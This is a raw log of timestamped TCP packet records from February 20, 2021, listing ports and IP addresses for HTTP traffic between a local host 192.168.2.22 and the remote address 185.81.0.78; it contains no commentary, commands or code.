Feb 20, 2021 09:48:08.986836910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.986839056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986840963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.986845016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.986848116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.986850977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.986852884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986855030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.986869097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986871958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.986895084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.986901045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.986917973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986934900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986952066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986959934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.986968040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.986968040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986984968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986988068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.986995935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987000942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987016916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987024069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987036943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987054110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987070084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987086058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987102032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987117052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987112999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987133026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987143993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987149000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987162113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987169027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987179041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987186909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987204075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987215042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987221003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987250090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987257004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987266064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987279892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987282038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987297058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987298965 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987303019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987313986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987318993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987323046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987325907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987334967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987344027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987353086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987375975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987376928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987380028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987385035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987396002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987412930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987412930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987417936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987428904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987432957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987446070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987449884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987462997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987467051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987483025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987483978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987503052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987504005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987509012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987519979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987526894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987536907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987545013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987555981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987561941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987574100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987580061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987593889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987596989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987611055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987613916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987617970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987633944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987648964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987653017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987654924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987669945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987673044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987688065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987690926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987704992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987721920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987711906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987740040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987746000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987749100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987756968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987777948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987792015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987796068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987797976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987812042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987816095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987829924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987833977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987848043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987852097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987864971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987881899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987884998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987899065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987901926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987920046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987924099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987941027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987942934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987957001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987961054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987973928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987979889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.987991095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.987996101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988007069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988013029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988024950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988029957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988042116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988048077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988061905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988080025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988080025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988096952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988099098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988115072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988116980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988132954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988135099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988140106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988142014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988145113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988152027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988168955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988168955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988179922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988188028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988192081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988210917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988213062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988221884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988229990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988245010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988250971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988260984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988262892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988277912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988279104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988292933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988296032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988312006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988313913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988327026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988331079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988347054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988351107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988362074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988370895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988387108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988389969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988399029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988404989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988419056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988420963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988430023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988449097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988465071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988467932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988475084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988481998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988496065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988498926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988516092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988533020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988552094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988554955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988570929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.988574982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988593102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988607883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988610983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.988614082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.992857933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.992878914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.992897987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.993318081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.018589973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.018636942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.018655062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.018671036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.018685102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.018697023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.018709898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.018724918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.018738985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.018752098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.018789053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.018794060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.018799067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.019222975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.019243956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.019260883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.019277096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.019289970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.019293070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.019309998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.019326925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.019328117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.019336939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.019341946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.019345045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.019355059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.019365072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.019386053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.019407034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.020064116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020097017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020112991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020122051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.020134926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.020139933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020158052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020164013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.020175934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020185947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.020195961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020209074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.020214081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020229101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.020235062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020258904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.020273924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.020819902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020842075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020858049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020876884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020894051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020910025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020924091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020922899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.020939112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.020941973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.020952940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.020956039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021013021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.021034956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.021534920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021579027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021593094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.021596909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021615028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021631956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021634102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.021648884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021667004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021661997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.021686077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021696091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.021704912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021720886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021722078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.021733046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.021748066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.021754026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021773100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.021783113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021795988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.021826982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.021941900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021961927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.021986961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.021996975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.022006989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022025108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022046089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022051096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.022063017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.022064924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022082090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022092104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.022099018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022109985 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.022115946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022140980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.022151947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.022362947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022382975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022399902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022413015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.022418022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022428036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.022443056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022460938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022471905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.022480011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022497892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.022500038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022516012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.022530079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.022659063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.023704052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.023760080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024182081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024204969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024230003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024249077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024266005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024266005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024283886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024285078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024293900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024302959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024318933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024319887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024338961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024341106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024359941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024364948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024379015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024379969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024395943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024403095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024414062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024425983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024430990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024447918 CET	49165	80	192.168.2.22	185.81.0.78
